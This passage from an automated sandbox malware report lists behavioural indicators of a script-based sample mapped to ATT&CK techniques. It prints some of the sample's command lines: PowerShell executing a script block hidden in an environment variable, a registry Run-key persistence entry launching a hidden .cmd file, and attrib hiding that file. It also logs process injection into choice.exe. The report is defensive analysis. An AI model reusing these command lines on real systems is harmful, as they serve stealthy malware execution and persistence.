\"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00000652)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00000868)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00001280)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00007652)","origin":"API Call","mitre_attack_id":"T1680","relevance":7,"id":"api-327","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00000652)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00000868)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00001280)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00007652)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000030000000000000002000000d8210000000001000600004f\"}\n \"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeffff00000008000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00000652)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00000868)\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00001280)\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00007652)\n \"powershell.exe\" called \"GetUserNameExW\" (UID: 00000000-00007652)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user names for specified SIDs","description":"\"powershell.exe\" called \"LsaLookupSids\" with parameters {\"PolicyHandle\": \"c62e2c0\"\n \"Count\": \"1\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":1,"id":"api-255","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$46","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")\n Found reference to API \"GetCurrentProcessId\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"GetFileAttributesW\" (Indicator: \"GetFileAttributes\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve user privileges (API string)","description":"file/memory contains long string with (Indicator: \"IsInRole\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-217","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$47","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00000652.00000000.235397.27800000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00000652)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00000868)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00001280)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00007652)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \"\\Device\\HarddiskVolume2\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll\" (Indicator: \"\\Device\\\"; Source: \"00000000-00000652.00000000.235397.6C850000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00000652.00000000.235397.6ECC0000.00000004.mdmp\")\n Found string \"\\Device\\HarddiskVolume2\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll\" (Indicator: \"\\Device\\\"; Source: \"00000000-00000868.00000000.235762.29D10000.00000004.mdmp, 00000000-00000868.00000001.236285.29D10000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"SeDebugPrivilege\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00000652.00000000.235397.6C850000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"WScript.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"C07862FC5252DD010000000000000000000000000200000000\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$48","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"System Security","name":"Queries the display settings of system associated file extensions","description":"\"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"ALWAYSSHOWEXT\")\n \"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"NEVERSHOWEXT\")","origin":"Registry Access","mitre_attack_id":"T1005","relevance":7,"id":"registry-47","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$49","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"$4a","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 652)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 868)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 1280)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 7652)\n \"choice.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 4940)\n \"choice.exe\" is protecting memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 4940)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Tries to detect debugger using ProcessDebugPort","description":"\"choice.exe queries ProcessDebugPort (UID: 4940)","origin":"API Call","mitre_attack_id":"T1622","relevance":5,"id":"api-238","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"suspicious","category":"Environment Awareness","name":"Attempts to retrieve the system language code","description":"\"powershell.exe\" called \"NtQueryInstallUILanguage\" with parameters {\"LanguageId\": \"1033\"}","origin":"API Call","mitre_attack_id":"T1614.001","relevance":10,"id":"api-307","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"suspicious","category":"Environment Awareness","name":"Queries process mitigation policy via NtQueryInformationProcess","description":"\"C:\\Windows\\System32\\wscript.exe\" queried ProcessMitigationPolicy\n \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" queried ProcessMitigationPolicy\n \"C:\\Windows\\System32\\cmd.exe\" queried ProcessMitigationPolicy\n \"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" queried ProcessMitigationPolicy\n \"C:\\Windows\\SysWOW64\\choice.exe\" queried ProcessMitigationPolicy","origin":"API Call","mitre_attack_id":"T1497.001","relevance":1,"id":"api-323","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"suspicious","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO External IP Lookup ip-api.com\" (SID: 2022082, Rev: 6, Severity: 2) categorized as \"Device Retrieving External IP Address Detected\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-1","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"2/24 Antivirus vendors marked sample as malicious (8% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"suspicious","category":"General","name":"GETs files from a web server","description":"\"GET /line/?fields=hosting HTTP/1.1\nHost: ip-api.com\nConnection: Keep-Alive\" Response ==> HTTP/1.1 200 OK\nDate: Fri\n 02 Oct 2026 09:47:54 GMT\nContent-Type: text/plain; charset=utf-8\nContent-Length: 6\nAccess-Control-Allow-Origin: *\nX-Ttl: 60\nX-Rl: 44 with response body ==>66616C73650A.......","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-61","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"CACHEINTEGRITY_KBWW\"; Value: \"%WINDIR%\\System32\\conhost.exe --headless -- %WINDIR%\\System32\\cmd.exe /c call \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\search_crc\\search_crc_NQFEMERLh.cmd\"\")","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 208.95.112.1 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - PowerShell with Base64 encoding","description":"YARA signature for PowerShell containing Base64 encoding matched on process \"00000000-00007652\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":3,"id":"yara-35","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find a SID for the specified name","description":"\"powershell.exe\" called \"LookupAccountNameW\" with parameters {\"AccountName\": \"0tyPL6L\"\n \"Sid\": \"2203321526456\"\n \"cbSid\": \"00040000\"\n \"ReferencedDomainName\": \"DESKTOP-FVVF82A\"\n \"cchReferencedDomainName\": \"0f000000\"\n \"peUse\": \"01000000\"}\n \"powershell.exe\" called \"LookupAccountNameW\" with parameters {\"AccountName\": \"0tyPL6L\"\n \"Sid\": \"1860463998496\"\n \"cbSid\": \"00040000\"\n \"ReferencedDomainName\": \"DESKTOP-FVVF82A\"\n \"cchReferencedDomainName\": \"0f000000\"\n \"peUse\": \"01000000\"}\n \"powershell.exe\" called \"LookupAccountNameW\" with parameters {\"AccountName\": \"0tyPL6L\"\n \"Sid\": \"2357461905632\"\n \"cbSid\": \"00040000\"\n \"ReferencedDomainName\": \"DESKTOP-FVVF82A\"\n \"cchReferencedDomainName\": \"0f000000\"\n \"peUse\": \"01000000\"}\n \"powershell.exe\" called \"LookupAccountNameW\" with parameters {\"AccountName\": \"0tyPL6L\"\n \"Sid\": \"87503996\"\n \"cbSid\": \"00040000\"\n \"ReferencedDomainName\": \"DESKTOP-FVVF82A\"\n \"cchReferencedDomainName\": \"0f000000\"\n \"peUse\": \"01000000\"}","origin":"API Call","mitre_attack_id":"T1087","relevance":2,"id":"api-189","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find and list the Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00000652)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00000868)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00001280)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00007652)","origin":"API Call","mitre_attack_id":"T1082","relevance":10,"id":"api-110","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_otxtzg5t.aay.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_xsfgfeug.i1z.psm1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_obe4jvir.3b5.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_g45gscq3.qyw.psm1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_01ymlnrm.yad.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_0tkx5vdy.xjv.psm1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_2ixktt4g.jza.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_j2fn5n5t.ewz.psm1\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_otxtzg5t.aay.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_xsfgfeug.i1z.psm1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_obe4jvir.3b5.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_g45gscq3.qyw.psm1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_01ymlnrm.yad.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_0tkx5vdy.xjv.psm1\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$4b","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"WScript.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")\n \"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops a text file that contains suspicious strings (e.g. shell/ActiveX/DOM related)","description":"\"search_crc_NQFEMERLh.cmd\" contains indicator \"Win32_Process\" (Line: 3; Offset: 2430)","origin":"Binary File","mitre_attack_id":"T1105","relevance":8,"id":"binary-4","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Executes powershell accessing native variables","description":"Process \"powershell.exe\" with commandline \"-noprofile -command &($executioncontext.InvokeCommand.NewScriptBlock([string]$env:HXIHKE))\" (Indicator: \"$executioncontext\", UID: 00000000-00000652)\n Process \"powershell.exe\" with commandline \"-NoProfile -Command \"&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:OBGNKQ))\"\" (Indicator: \"$executioncontext\", UID: 00000000-00000868)\n Process \"powershell.exe\" with commandline \"-NoProfile -Command \"&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:OBGNKQ))\"\" (Indicator: \"$executioncontext\", UID: 00000000-00001280)\n Process \"powershell.exe\" with commandline \"-NoProfile -Command \"&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:OBGNKQ))\"\" (Indicator: \"$executioncontext\", UID: 00000000-00007652)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":10,"id":"target-55","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Script file shows a combination of malicious behaviors","description":"The script produces internet activity. Is obfuscated and/or drops files","origin":"Indicator Combinations","mitre_attack_id":"T1204.002","relevance":7,"id":"summary-5","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Spawned processes are likely due to an injection","description":"Process \"%WINDIR%\\SysWOW64\\choice.exe\" spawned likely due to injection","origin":"Monitored Target","mitre_attack_id":"T1055","relevance":3,"id":"target-413","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Attempts to change the attributes of the files","description":"Process \"attrib.exe\" with commandline \"attrib +h +s \"%LOCALAPPDATA%\\\\Microsoft\\\\Windows\\\\Caches\\\\54102062952225.cmd\"\" (UID: 00000000-00007088)","origin":"Monitored Target","mitre_attack_id":"T1564.001","relevance":3,"id":"target-166","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"WScript.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -noprofile -command &($executioncontext.InvokeCommand.NewScriptBlock([\" - (UID: 00000000-00007632)\n \"WScript.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\system32\\cmd.exe\" /c call \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\54102062952225.cmd\" & attrib +h +s\" - (UID: 00000000-00007632)\n \"powershell.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\system32\\choice.exe\"\" - (UID: 00000000-00007652)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"powershell.exe\" wrote 00000FB8 bytes to a remote process \"C:\\Windows\\SysWOW64\\choice.exe\" (Handle: 912)\n \"powershell.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\SysWOW64\\choice.exe\" (Handle: 912)\n \"powershell.exe\" wrote 00000004 bytes to a remote process \"C:\\Windows\\SysWOW64\\choice.exe\" (Handle: 912)\n \"powershell.exe\" wrote 00000002 bytes to a remote process \"C:\\Windows\\SysWOW64\\choice.exe\" (Handle: 912)\n \"choice.exe\" wrote 0003C000 bytes to a remote process \"C:\\Windows\\SysWOW64\\choice.exe\" (Handle: 128)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"malicious","category":"Network Related","name":"Attempts to identify external IP address","description":"\"ip-api.com\"","origin":"Network Traffic","mitre_attack_id":"T1016","relevance":6,"id":"network-24","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"$4c","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]}],"incidents":[{"name":"Persistence","details_count":4,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Spawns many 